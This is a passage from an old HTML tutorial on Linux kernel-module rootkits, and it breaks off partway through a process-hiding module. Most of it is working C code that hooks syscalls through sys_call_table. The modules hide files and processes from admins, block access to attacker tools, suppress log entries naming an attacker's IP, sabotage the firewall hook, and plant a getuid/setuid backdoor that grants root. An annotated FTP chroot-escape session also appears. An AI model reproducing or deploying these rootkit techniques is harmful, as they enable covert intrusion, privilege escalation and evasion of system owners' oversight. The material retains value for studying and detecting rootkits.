1262 After this you can access that device (but i did not implement any functions due
1263 to lack of time...). The file_operations structure provides every function
1264 (operation) which our driver will provide to the system. As you can see I did
1265 only implement a very (!) basic dummy function just printing something.
1266 It should be clear that you can implement your own devices in a very easy way
1267 by using the methods above. Just do some experiments. If you log some data (key
1268 strokes, for example) you can build a buffer in your driver that exports its
1269 contents through the device interface).
1274 <H2>II. Fun & Profit</H2>
1279 <H3><A NAME="II.1."></A>1. How to intercept Syscalls</h3>
1281 Now we start abusing the LKM scheme. Normally LKMs are used to extend the kernel
1282 (especially hardware drivers). Our 'Hacks' will do something different, they
1283 will intercept systemcalls and modify them in order to change the way the system
1284 reacts on certain commands.<br>
1285 The following module makes it impossible for any user on the compromised system
1286 to create directories. This is just a little demonstration to show the way we
1293 #include <linux/module.h>
1294 #include <linux/kernel.h>
1295 #include <asm/unistd.h>
1296 #include <sys/syscall.h>
1297 #include <sys/types.h>
1298 #include <asm/fcntl.h>
1299 #include <asm/errno.h>
1300 #include <linux/types.h>
1301 #include <linux/dirent.h>
1302 #include <sys/mman.h>
1303 #include <linux/string.h>
1304 #include <linux/fs.h>
1305 #include <linux/malloc.h>
1307 extern void* sys_call_table[]; /*sys_call_table is exported, so we
1310 int (*orig_mkdir)(const char *path); /*the original systemcall*/
1313 int hacked_mkdir(const char *path)
1315 return 0; /*everything is ok, but he new systemcall
1319 int init_module(void) /*module setup*/
1321 orig_mkdir=sys_call_table[SYS_mkdir];
1322 sys_call_table[SYS_mkdir]=hacked_mkdir;
1326 void cleanup_module(void) /*module shutdown*/
1328 sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
1333 Compile this module and start it (see I.1). Try to make a directory, it will
1334 not work.Because of returning 0 (standing for OK) we don't get an error message.
1335 After removing the module making directories is possible again.
1336 As you can see, we only need to change the corresponding entry in sys_call_table
1337 (see I.2) for intercepting a kernel systemcall.<br>
1338 The general approach to intercepting a systemcall is outlined in the following
1342 <li> find your systemcall entry in sys_call_table[] (take a look at include/sys/
1344 <li> save the old entry of sys_call_table[X] in a function pointer (where X stands
1345 for the systemcallnumber you want to intercept)<br>
1346 <li> save the address of the new (hacked) systemcall you defined yourself by
1347 setting sys_call_table[X] to the needed function address<br>
1350 You will recognize that it is very useful to save the old systemcall function
1351 pointer, because you will need it in your hacked one for emulating the original
1352 call. The first question you have to face when writing a 'Hack-LKM ' is : <br>
1353 <i>'Which systemcall should I intercept'.</i><br>
1355 <H3><A NAME="II.2."></A>2. Interesting Syscalls to Intercept</h3>
1356 Perhaps you are not a 'kernel god' and you don't know every systemcall for every
1357 user space function an application or command can use. So I will give you some
1358 hints on finding your systemcalls to take control over.<br>
1360 <li>read source code. On systems like Linux you can have the source code on
1361 nearly any program a user (admin) can use. Once you have found a basic
1362 function like dup, open, write, ... go to b<br>
1363 <li>take a look at include/sys/syscall.h (see I.2). Try to find a directly
1364 corresponding systemcall (search for dup -> you will find SYS_dup; search
1365 for write -> you will find SYS_write; ...). If this does not work got to c<br>
1366 <li>some calls like socket, send, receive, ... are implemented through one
1367 systemcall - as I said before. Take a look at the include file mentioned
1368 for related systemcalls.<br>
1371 Remember not every C-lib function is a systemcall ! Most functions are totally
1372 unrelated to any systemcalls !<br>
1373 A little more experienced hackers should take a look at the systemcall listing
1374 in I.2 which provides enough information. It should be clear that User ID management
1375 is implemented through the uid-systemcalls etc. If you really want to be sure
1376 you can also take a look at the library sources / kernel sources.<br>
1377 The hardest problem is an admin writing its own applications for checking system
1378 integrity / security. The problem concerning those programs is the lack of source
1379 code. We cannot say how this program exactly works and which systemcalls we have
1380 to intercept in order to hide our presents / tools. It may even be possible that
1381 he introduced a LKM hiding itself which implements cool hacker-like systemcalls
1382 for checking the system security (the admins often use hacker techniques to defend
1383 their system...). So how do we proceed.<br>
1385 <H4><A NAME="II.2.1."></A>2.1 Finding interesting systemcalls (the strace approach)</h4>
1387 Let's say you know the super-admin program used to check the system (this can
1388 be done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem
1389 is that you need to hide your presents from the super-admin program until that
1391 So run the program (perhaps you have to be root to execute it) using strace.
1394 # strace super_admin_proggy
1397 This will give you a really nice output of every systemcall made by that program
1398 including the systemcalls which may be added by the admin through his hacking
1399 LKM (could be possible). I don't have a super-admin-proggy for showing you a
1400 sample output, but take a look at the output of 'strace whoami' :<vr>
1403 execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
1404 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
1405 mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
1406 mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
1407 stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
1408 open("/etc/ld.so.cache", O_RDONLY) = 3
1409 mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
1411 stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)
1412 open("/lib/libc.so.5", O_RDONLY) = 3
1413 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
1414 mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
1415 mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000
1416 mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000
1417 mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
1419 mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
1420 munmap(0x40008000, 13363) = 0
1421 mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
1422 mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
1423 mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
1424 personality(PER_LINUX) = 0
1429 brk(0x804aa48) = 0x804aa48
1430 brk(0x804b000) = 0x804b000
1431 open("/usr/share/locale/locale.alias", O_RDONLY) = 3
1432 fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
1433 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
1434 read(3, "# Locale name alias data base\n#"..., 4096) = 2005
1435 brk(0x804c000) = 0x804c000
1436 read(3, "", 4096) = 0
1438 munmap(0x40008000, 4096) = 0
1439 open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
1440 open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
1441 fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
1442 mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
1445 open("/etc/passwd", O_RDONLY) = 3
1446 fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
1447 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
1448 read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
1450 munmap(0x4000b000, 4096) = 0
1451 fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
1452 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
1453 write(1, "r00t\n", 5r00t
1458 This is a very nice listing of all systamcalls made by the command 'whoami',
1459 isn't it ? There are 4 interesting systemcalls to intercept in order to
1460 manipulate the output of 'whoami'
1469 Take a look at II.6 for an implementation of that problem. This way of analysing
1470 programs is also very important for a quick look at other standard tools.<br>
1471 I hope you are now able to find any systemcall which can help you to hide
1472 yourself or just to backdoor the system, or whatever you want.
1474 <H3><A NAME="II.3."></A>3. Confusing the kernel's System Table</h3>
1476 In II.1 you saw how to access the sys_call_table, which is exported through the
1477 kernel symbol table. Now think about this... We can modify <i>any</i> exported item
1478 (functions, structures, variables, for example) by accessing them within our
1480 Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot
1481 be compromised that way, because we don't export any symbols. Here is a little
1482 excerpt from my /proc/ksyms file, just to show you what you can actually modify.
1486 001bf1dc ppp_register_compressor
1487 001bf23c ppp_unregister_compressor
1488 001e7a10 ppp_crc16_table
1491 001baa20 slhc_remember
1492 001b9f6c slhc_compress
1493 001ba5dc slhc_uncompress
1495 001a79f4 register_serial
1496 001a7b40 unregister_serial
1497 00109cec dump_thread
1500 001c0c60 down_failed
1501 001c0c80 down_failed_interruptible
1503 001390dc sock_register
1504 00139110 sock_unregister
1505 0013a390 memcpy_fromiovec
1506 001393c8 sock_setsockopt
1507 00139640 sock_getsockopt
1510 00137b88 sock_wake_async
1511 00139a70 sock_alloc_send_skb
1512 0013a408 skb_recv_datagram
1513 0013a580 skb_free_datagram
1514 0013a5cc skb_copy_datagram
1515 0013a60c skb_copy_datagram_iovec
1516 0013a62c datagram_select
1517 00141480 inet_add_protocol
1518 001414c0 inet_del_protocol
1519 001ddd18 rarp_ioctl_hook
1520 001bade4 init_etherdev
1521 00140904 ip_rt_route
1524 00143750 ip_options_compile
1527 0014f5ac arp_bind_cache
1528 001dd3cc ip_id_count
1529 0014445c ip_send_check
1531 001dd3c4 sysctl_ip_forward
1532 0013a994 register_netdevice_notifier
1533 0013a9c8 unregister_netdevice_notifier
1534 0013ce00 register_net_alias_type
1535 0013ce4c unregister_net_alias_type
1536 001bb208 register_netdev
1537 001bb2e0 unregister_netdev
1538 001bb090 ether_setup
1539 0013d1c0 eth_type_trans
1540 0013d318 eth_copy_and_sum
1545 0013a1d0 dev_alloc_skb
1546 0013a184 dev_kfree_skb
1547 0013a14c skb_device_unlock
1550 001e6ea0 irq2dev_map
1551 0013a7a8 dev_add_pack
1552 0013a7e8 dev_remove_pack
1555 0013abfc dev_queue_xmit
1560 001b05d8 n_tty_ioctl
1561 001a7ccc tty_register_ldisc
1562 0012c8dc kill_fasync
1564 00155ff8 register_ip_masq_app
1565 0015605c unregister_ip_masq_app
1566 00156764 ip_masq_skb_replace
1567 00154e30 ip_masq_new
1568 00154e64 ip_masq_set_expire
1569 001ddf80 ip_masq_free_ports
1570 001ddfdc ip_masq_expire
1571 001548f0 ip_masq_out_get_2
1572 001391e8 register_firewall
1573 00139258 unregister_firewall
1574 00139318 call_in_firewall
1575 0013935c call_out_firewall
1576 001392d4 call_fw_firewall
1579 Just look at call_in_firewall, this is a function used by the firewall management
1580 in the kernel. What would happen if we replace this function with a bogus one ?<br>
1581 Take a look at the following LKM :
1587 #include <linux/module.h>
1588 #include <linux/kernel.h>
1589 #include <asm/unistd.h>
1590 #include <sys/syscall.h>
1591 #include <sys/types.h>
1592 #include <asm/fcntl.h>
1593 #include <asm/errno.h>
1594 #include <linux/types.h>
1595 #include <linux/dirent.h>
1596 #include <sys/mman.h>
1597 #include <linux/string.h>
1598 #include <linux/fs.h>
1599 #include <linux/malloc.h>
1602 /*get the exported function*/
1603 extern int *call_in_firewall;
1605 /*our nonsense call_in_firewall*/
1606 int new_call_in_firewall()
1611 int init_module(void) /*module setup*/
1613 call_in_firewall=new_call_in_firewall;
1617 void cleanup_module(void) /*module shutdown*/
1621 Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping
1622 127.0.0.1', your kernel will produce a nice error message, because the called
1623 call_in_firewall(...) function was replaced by a bogus one (you may skip the
1624 firewall installation in this example).<br>
1625 This is a quite brutal way of killing an exported symbol. You could also
1626 disassemble (using gdb) a certain symbol and modify certain bytes which will
1627 change the working of that symbol. Imagine there is a IF THEN contruction used
1628 in an exported function. How about disassembling this function and searching for
1629 commands like JNZ, JNE, ... This way you would be able to patch important items.
1630 Of course, you could lookup the functions in the kernel / module sources, but
1631 what about symbols you cannot get the source for because you only got a binary
1632 module. Here the disassembling is quite interesting.<br>
1635 <H3><A NAME="II.4."></A>4. Filesystem related Hacks</h3>
1637 The most important feature of LKM hacking is the abilaty to hide some items
1638 (your exploits, sniffer (+logs), and so on) in the local filesystem.
1640 <H4><A NAME="II.4.1."></A>4.1 How to Hide Files</h4>
1641 Imagine how an admin will find your files : He will use 'ls' and see everything.
1642 For those who don't know it, strace'in through 'ls' will show you that the
1643 systemcall used for getting directory listings is
1646 int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
1648 So we know where to attack.The following piece of code shows the hacked_getdents
1649 systemcall adapted from AFHRM (from Michal Zalewski). This module is able to
1650 hide any file from 'ls' and <i>every</i> program using getdents systemcall.
1656 #include <linux/module.h>
1657 #include <linux/kernel.h>
1658 #include <asm/unistd.h>
1659 #include <sys/syscall.h>
1660 #include <sys/types.h>
1661 #include <asm/fcntl.h>
1662 #include <asm/errno.h>
1663 #include <linux/types.h>
1664 #include <linux/dirent.h>
1665 #include <sys/mman.h>
1666 #include <linux/string.h>
1667 #include <linux/fs.h>
1668 #include <linux/malloc.h>
1670 extern void* sys_call_table[];
1672 int (*orig_getdents) (uint, struct dirent *, uint);
1674 int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
1676 unsigned int tmp, n;
1678 struct inode *dinode;
1679 struct dirent *dirp2, *dirp3;
1680 char hide[]="ourtool"; /*the file to hide*/
1682 /*call original getdents -> result is saved in tmp*/
1683 tmp = (*orig_getdents) (fd, dirp, count);
1685 /*directory cache handling*/
1686 /*this must be checked because it could be possible that a former getdents
1687 put the results into the task process structure's dcache*/
1688 #ifdef __LINUX_DCACHE_H
1689 dinode = current->files->fd[fd]->f_dentry->d_inode;
1691 dinode = current->files->fd[fd]->f_inode;
1694 /*dinode is the inode of the required directory*/
1697 /*dirp2 is a new dirent structure*/
1698 dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
1699 /*copy original dirent structure to dirp2*/
1700 memcpy_fromfs(dirp2, dirp, tmp);
1701 /*dirp3 points to dirp2*/
1706 n = dirp3->d_reclen;
1708 /*check if current filename is the name of the file we want to hide*/
1709 if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
1711 /*modify dirent struct if necessary*/
1713 memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
1715 dirp3->d_off = 1024;
1718 if (dirp3->d_reclen == 0)
1721 * workaround for some shitty fs drivers that do not properly
1722 * feature the getdents syscall.
1728 dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
1730 memcpy_tofs(dirp, dirp2, tmp);
1737 int init_module(void) /*module setup*/
1739 orig_getdents=sys_call_table[SYS_getdents];
1740 sys_call_table[SYS_getdents]=hacked_getdents;
1744 void cleanup_module(void) /*module shutdown*/
1746 sys_call_table[SYS_getdents]=orig_getdents;
1751 For beginners : read the comments and use your brain for 10 mins. <br>
1752 After that continue reading.<br>
1753 This hack is really helpful. But remember that the admin can see your file by
1754 directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our
1755 file. So never take any trivial names for your tools like sniffer, mountdxpl.c,
1756 .... Of course their are ways to prevent an admin from reading our files, just
1759 <H4><A NAME="II.4.2."></A>4.2 How to hide the file contents (totally)</h4>
1761 I never saw an implementation really doing this. Of course their are LKMs like
1762 AFHRM by Michal Zalewski controlling the contents / delete functions but not
1763 really hiding the contents. I suppose their are lots of people actually using
1764 methods like this, but no one wrote on it, so I do.<br>
1765 It should be clear that there are many ways of doing this. The first way is
1766 very simple,just intercept an open systemcall checking if filename is 'ourtool'.
1767 If so deny any open-attempt, so no read / write or whatever is possible. Let's
1768 implement that LKM :<br>
1774 #include <linux/module.h>
1775 #include <linux/kernel.h>
1776 #include <asm/unistd.h>
1777 #include <sys/syscall.h>
1778 #include <sys/types.h>
1779 #include <asm/fcntl.h>
1780 #include <asm/errno.h>
1781 #include <linux/types.h>
1782 #include <linux/dirent.h>
1783 #include <sys/mman.h>
1784 #include <linux/string.h>
1785 #include <linux/fs.h>
1786 #include <linux/malloc.h>
1788 extern void* sys_call_table[];
1791 int (*orig_open)(const char *pathname, int flag, mode_t mode);
1794 int hacked_open(const char *pathname, int flag, mode_t mode)
1796 char *kernel_pathname;
1797 char hide[]="ourtool";
1799 /*this is old stuff -> transfer to kernel space*/
1800 kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
1802 memcpy_fromfs(kernel_pathname, pathname, 255);
1804 if (strstr(kernel_pathname, (char*)&hide ) != NULL)
1806 kfree(kernel_pathname);
1807 /*return error code for 'file does not exist'*/
1812 kfree(kernel_pathname);
1813 /*everything ok, it is not our tool*/
1814 return orig_open(pathname, flag, mode);
1819 int init_module(void) /*module setup*/
1821 orig_open=sys_call_table[SYS_open];
1822 sys_call_table[SYS_open]=hacked_open;
1826 void cleanup_module(void) /*module shutdown*/
1828 sys_call_table[SYS_open]=orig_open;
1832 This works very fine, it tells anyone trying to access our files, that they
1833 are non-existent. But how do we access those files. Well there are many ways
1835 <li>implement a magic-string<br>
1836 <li>implement uid or gid check (requires creating a certain account)<br>
1837 <li>implement a time check<br>
1840 There are thousands of possibilies which are all very easy to implement, so I
1841 leave this as an exercise for the reader.
1843 <H4><A NAME="II.4.3."></A>4.3 How to hide certain file parts (a prototype implementation)</h4>
1846 Well the method shown in 3.2 is very useful for our own tools / logs. But
1847 what about modifying admin / other user files. Imagine you want to control
1848 /var/log/messages for entries concerning your IP address / DNS name. We all
1849 know thousands of backdoors hiding our identity from any important logfile.
1850 But what about a LKM just filtering every string (data) written to a file. If
1851 this string contains any data concerning our identity (IP address, for example)
1852 we deny that write (we will just skip it/return). The following implementation
1853 is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it
1854 before, but as in 3.2 there may be some people using this since years.
1860 #include <linux/module.h>
1861 #include <linux/kernel.h>
1862 #include <asm/unistd.h>
1863 #include <sys/syscall.h>
1864 #include <sys/types.h>
1865 #include <asm/fcntl.h>
1866 #include <asm/errno.h>
1867 #include <linux/types.h>
1868 #include <linux/dirent.h>
1869 #include <sys/mman.h>
1870 #include <linux/string.h>
1871 #include <linux/fs.h>
1872 #include <linux/malloc.h>
1874 extern void* sys_call_table[];
1877 int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
1879 int hacked_write(unsigned int fd, char *buf, unsigned int count)
1882 char hide[]="127.0.0.1"; /*the IP address we want to hide*/
1884 kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);
1886 memcpy_fromfs(kernel_buf, buf, 999);
1888 if (strstr(kernel_buf, (char*)&hide ) != NULL)
1891 /*say the program, we have written 1 byte*/
1897 return orig_write(fd, buf, count);
1901 int init_module(void) /*module setup*/
1903 orig_write=sys_call_table[SYS_write];
1904 sys_call_table[SYS_write]=hacked_write;
1908 void cleanup_module(void) /*module shutdown*/
1910 sys_call_table[SYS_write]=orig_write;
1914 This LKM has several disadvantages, it does not check for the destination it
1915 the write is used on (can be checked via fd; read on for a sample). This means
1916 the even a 'echo '127.0.0.1'' will be printed.<br>
1917 You can also modify the string which should be written, so that it shows an IP
1918 address of someone you really like... But the general idea should be clear.<br>
1920 <H4><A NAME="II.4.4."></A>4.4 How to redirect / monitor file operations</h4>
1923 This idea is old, and was first implemented by Michal Zalewski in AFHRM.
1924 I won't show any code here, because it is too easy to implemented (after
1925 showing you II.4.3/II.4.2).There are many things you can monitor by redirection/
1928 <li>someone writes to a file -> copy the contents to another file
1929 =>this can be done with sys_write(...) redirection<br>
1930 <li>someone was able to read a sensitve file -> monitor file reading of certain
1932 =>this can be done with sys_read(...) redirection<br>
1933 <li>someone opens a file -> we can monitor the whole system for such events<br>
1934 =>intercept sys_open(...) and write files opened to a logfile; this is
1935 the ways AFHRM monitors the files of a system (see IV.3 for source)<br>
1936 <li>link / unlink events -> monitor every link created<br>
1937 =>intercept sys_link(...) (see IV.3 for source)<br>
1938 <li>rename events -> monitor every file rename event<br>
1939 =>intercept sys_rename(...) (see IV.4 for source)<br>
1942 These are very interesting points (especially for admins) because you can
1943 monitor a whole system for file changes. In my opinion it would also be
1944 interesting to monitor file / directory creations, which use commands like
1945 'touch' and 'mkdir'.<br>
1946 The command 'touch' (for example) does <i>not</i> use open for the creation process;
1947 a strace shows us the following listing (excerpt) :
1951 stat("ourtool", 0xbffff798) = -1 ENOENT (No such file or directory)
1952 creat("ourtool", 0666) = 3
1957 As you can see the system uses the systemcall sys_creat(..) to create new files.
1958 I think it is not necessary to present a source,because this task is too trivial
1959 just intercept sys_creat(...) and write every filename to logfile with
1961 This is the way AFHRM logs any important events.
1964 <H4><A NAME="II.4.5."></A>4.5 How to avoid any file owner problems</h4>
1966 This hack is not only filesystem related, it is also very important for general
1967 permission problems. Have a guess which systemcall to intercept.Phrack (plaguez)
1968 suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid
1969 is used with this magic UID, the module will set the UIDs to 0 (SuperUser).<br>
1970 Let's look at his implementation(I will only show the hacked_setuid systemcall):
1974 int hacked_setuid(uid_t uid)
1978 /*do we have the magic UID (defined in the LKM somewhere before*/
1979 if (uid == MAGICUID) {
1980 /*if so set all UIDs to 0 (SuperUser)*/
1987 tmp = (*o_setuid) (uid);
1993 I think the following trick could also be very helpful in certain situation.
1994 Imagine the following situation: You give a bad trojan to an (very silly) admin;
1995 this trojan installs the following LKM on that system [i did not implement hide
1996 features, just a prototype of my idea] :<vr>
2002 #include <linux/module.h>
2003 #include <linux/kernel.h>
2004 #include <asm/unistd.h>
2005 #include <sys/syscall.h>
2006 #include <sys/types.h>
2007 #include <asm/fcntl.h>
2008 #include <asm/errno.h>
2009 #include <linux/types.h>
2010 #include <linux/dirent.h>
2011 #include <sys/mman.h>
2012 #include <linux/string.h>
2013 #include <linux/fs.h>
2014 #include <linux/malloc.h>
2016 extern void* sys_call_table[];
2019 int (*orig_getuid)();
2025 /*check for our UID*/
2026 if (current->uid=500) {
2027 /*if its our UID -> this means we log in -> give us a rootshell*/
2034 tmp = (*orig_getuid) ();
2039 int init_module(void) /*module setup*/
2041 orig_getuid=sys_call_table[SYS_getuid];
2042 sys_call_table[SYS_getuid]=hacked_getuid;
2046 void cleanup_module(void) /*module shutdown*/
2048 sys_call_table[SYS_getuid]=orig_getuid;
2052 If this LKM is loaded on a system we are only a normal user, login will give us
2053 a nice rootshell (the current process has SuperUser rights). As I said in part
2054 I current points to the current task structure.
2056 <H4><A NAME="II.4.6."></A>4.6 How to make a hacker-tools-directory unaccessible</h4>
2058 For hackers it is often important to make the directory they use for their tools
2059 (<i>advanced</i> hackers don't use the regular local filesystem to store their data).
2060 Using the getdents approach helped us to hide directory/files. The open approach
2061 helped us to make our files unaccessible. But how to make our directory
2063 Well - as always - take a look at include/sys/syscall.h; you should be able to
2064 figure out SYS_chdir as the systemcall we need (for people who don't believe it
2065 just strace the 'cd' command...). This time I won't give you any source, because
2066 you just need to intercept sys_mkdir, and make a string comparison. After this
2067 you should make a regular call (if it is not our directory) or return ENOTDIR
2068 (standing for 'there exists no directory with that name'). Now your tools should
2069 really be hidden from intermediate admins (advanced / paranoid ones will scan
2070 the HDD at its lowest level, but who is paranoid today besides us ?!). It should
2071 also be possible to defeat this HDD scan, because everything is based on
2074 <H4><A NAME="II.4.7."></A>4.7 How to change CHROOT Environments </h4>
2076 This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a
2077 real good text on that theme ('Restricting a restricted FTP'). I will explain
2078 their idea in some short words. Please note that the following example will
2079 <i>not</i> work anymore, it is quite old (see wu-ftpd version). I just show
2080 it in order to explain how you can escape from chroot environments using LKMs.
2081 The following text is based on old software (wuftpd) so don't try to use it in newer
2082 wu-ftpd versions, it <i>won't</i> work.<br>
2083 HISPAHACK's paper is based on the idea of an restricted user FTP account which has the
2084 following permission layout :<br>
2086 drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
2087 drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/
2089 This scenario (which you can often find) the user (we) can rename the bin
2090 directory, because it is in our home directory.<br>
2091 Before doing anything like that let's take a look at whe working of wu.ftpd
2092 (the server they used for explanation, but the idea is more general). If we
2093 issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid).
2094 Before the execution is actually done wu.ftpd will use chroot(...) in order to
2095 set the process root directory in a way we are restricted to the home directory.
2096 This prevents us from accessing other parts of the filesystem via our FTP account
2098 Now imagine we could replace /bin/ls with another program, this program would
2099 be executed as root (uid=0). But what would we win, we cannot access the whole
2100 system because of the chroot(...) call. This is the point where we need a LKM
2101 helping us. We remove .../bin/ls with a program which loads a LKM supplied by
2102 us. This module will intercept the sys_chroot(...) systemcall. It must be
2103 changed in way it will no more restrict us. <br>
2104 This means we only need to be sure that sys_chroot(...) is doing nothing.
2105 HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way
2106 it only returns 0 and nothing more. After loading this LKM you can spawn a new
2107 process without being restricted anymore. This means you can access the whole
2108 system with uid=0. The following listing shows the example 'Hack-Session'
2109 published by HISPAHACK :
2115 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
2116 Name (ilm:root): user
2117 331 Password required for user.
2119 230 User user logged in. Access restrictions apply.
2120 Remote system type is UNIX.
2121 Using binary mode to transfer files.</TT></PRE>
2123 200 PORT command successful.
2124 150 Opening ASCII mode data connection for /bin/ls.
2126 drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
2127 drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
2128 d--x--x--x 2 root root 1024 Jun 21 11:26 bin
2129 drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
2130 drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
2131 226 Transfer complete.
2133 250 CWD command successful.
2135 200 PORT command successful.
2136 150 Opening ASCII mode data connection for /bin/ls.
2138 drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
2139 drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
2140 d--x--x--x 2 root root 1024 Jun 21 11:26 bin
2141 drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
2142 drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
2143 226 Transfer complete.
2145 200 PORT command successful.
2146 150 Opening ASCII mode data connection for /bin/ls.
2147 ---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
2148 226 Transfer complete.
2149 ftp> ren bin bin.old
2150 350 File exists, ready for destination name
2151 250 RNTO command successful.
2153 257 MKD command successful.
2155 250 CWD command successful.
2157 226 Transfer complete.
2159 226 Transfer complete.
2161 226 Transfer complete.
2163 200 CHMOD command successful.
2164 ftp> chmod 555 insmod
2165 200 CHMOD command successful.
2167 200 PORT command successful.
2168 150 Opening ASCII mode data connection for /bin/ls.
2172 Cargando modulo chroot...
2174 226 Transfer complete.
2179 --> now we start a new FTP session without being restricted (LKM is loaded so
2180 sys_chroot(...) is defeated. So do what you want (download passwd...)
2182 In the Appendix you will find the complete source code for the new ls and the
2185 <H3><A NAME="II.5."></A>5. Process related Hacks</h3>
2187 So far the filesystem is totally controlled by us. We discussed the most
2188 interesting 'Hacks'. Now its time to change the direction. We need to discuss
2189 LKMs confusing commands like 'ps' showing processes.
2191 <H4><A NAME="II.5.1."></A>5.1 How to hide any process</h4>
2193 The most important thing we need everyday is hiding a process from the admin.
2194 Imagine a sniffer, cracker (should normally not be done on hacked systems), ...
2195 seen by an admin when using 'ps'. Oldschool tricks like changing the name of the
2196 sniffer to something different, and hoping the admin is silly enough, are no good
2197 for the 21. century. We want to hide the process totally. So lets look at an
2198 implementation from plaguez (some very minor changes):
2204 #include <linux/module.h>
2205 #include <linux/kernel.h>
2206 #include <asm/unistd.h>
2207 #include <sys/syscall.h>
2208 #include <sys/types.h>
2209 #include <asm/fcntl.h>
2210 #include <asm/errno.h>
2211 #include <linux/types.h>
2212 #include <linux/dirent.h>
2213 #include <sys/mman.h>
2214 #include <linux/string.h>
2215 #include <linux/fs.h>
2216 #include <linux/malloc.h>
2217 #include <linux/proc_fs.h>
2219 extern void* sys_call_table[];
2221 /*process name we want to hide*/
2222 char mtroj[] = "my_evil_sniffer";
2224 int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
2226 /*convert a string to number*/
2227 int myatoi(char *str)
2232 for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
2233 if (*ptr < '0' || *ptr > '9')
2235 res += (*ptr - '0') * mul;
2241 /*get task structure from PID*/
2242 struct task_struct *get_task(pid_t pid)
2244 struct task_struct *p = current;
2250 while (p != current);
2254 /*get process name from task structure*/
2255 static inline char *task_name(struct task_struct *p, char *buf)
2261 i = sizeof(p->comm);
2263 unsigned char c = *name;
2287 /*check whether we need to hide this process*/
2288 int invisible(pid_t pid)
2290 struct task_struct *task = get_task(pid);
2293 buffer = kmalloc(200, GFP_KERNEL);
2294 memset(buffer, 0, 200);
2295 task_name(task, buffer);
2296 if (strstr(buffer, (char *) &mtroj)) {
2304 /*see II.4 for more information on filesystem hacks*/
2305 int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
2307 unsigned int tmp, n;
2309 struct inode *dinode;
2310 struct dirent *dirp2, *dirp3;
2312 tmp = (*orig_getdents) (fd, dirp, count);
2314 #ifdef __LINUX_DCACHE_H
2315 dinode = current->files->fd[fd]->f_dentry->d_inode;
2317 dinode = current->files->fd[fd]->f_inode;
2320 if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
2323 dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
2324 memcpy_fromfs(dirp2, dirp, tmp);
